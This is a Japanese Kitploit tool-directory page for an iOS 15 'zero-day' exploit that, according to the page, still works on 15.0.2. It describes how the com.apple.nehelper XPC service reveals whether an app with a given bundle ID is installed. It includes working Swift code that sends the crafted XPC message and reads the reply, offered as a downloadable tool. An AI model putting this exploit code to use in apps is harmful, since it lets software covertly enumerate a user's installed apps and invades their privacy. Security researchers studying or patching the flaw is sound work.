Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ios-nehelper-enum-apps-0day — iOS 15 ゼロデイエクスプロイト(15.0.2でも動作) | Kitploit
ツール/GitHubGitHub/illusionofchaos/ios-nehelper-enum-apps-0day
iOSセキュリティ脆弱性分析エクスプロイトモバイルアプリペンテスト情報収集
GitHubillusionofchaos/ios-nehelper-enum-apps-0day

ios-nehelper-enum-apps-0day

iOS 15 ゼロデイエクスプロイト(15.0.2でも動作)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト
1715474年前Kitploit レビュー済み

nehelper インストール済みアプリ列挙 0-day (iOS 15.0)

このコードは、Private API を直接使わないように更新しました。詳しくは私のブログ記事をご覧ください。ただし、そのためこのコードは iOS のバージョン固有であり、場合によってはデバイスモデル固有でもあります。お使いのデバイスで動作しない場合は、c.c ファイル内のオフセットを再計算して更新してください。オリジナルのコードは direct ブランチにあります。

この脆弱性により、任意のユーザーインストールアプリが、バンドル ID を指定して、デバイス上に任意のアプリがインストールされているかどうかを判別できます。

XPC エンドポイント "com.apple.nehelper" には、任意のアプリがアクセスできるメソッドがあります。このメソッドはバンドル ID をパラメータとして受け取り、一致するバンドル ID のアプリがデバイスにインストールされている場合はキャッシュ UUID を含む配列を返し、それ以外の場合は空の配列を返します。 これは /usr/libexec/nehelper 内の -[NEHelperCacheManager onQueueHandleMessage:] で発生します。

root@kitploit:~
func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}
ツールをダウンロード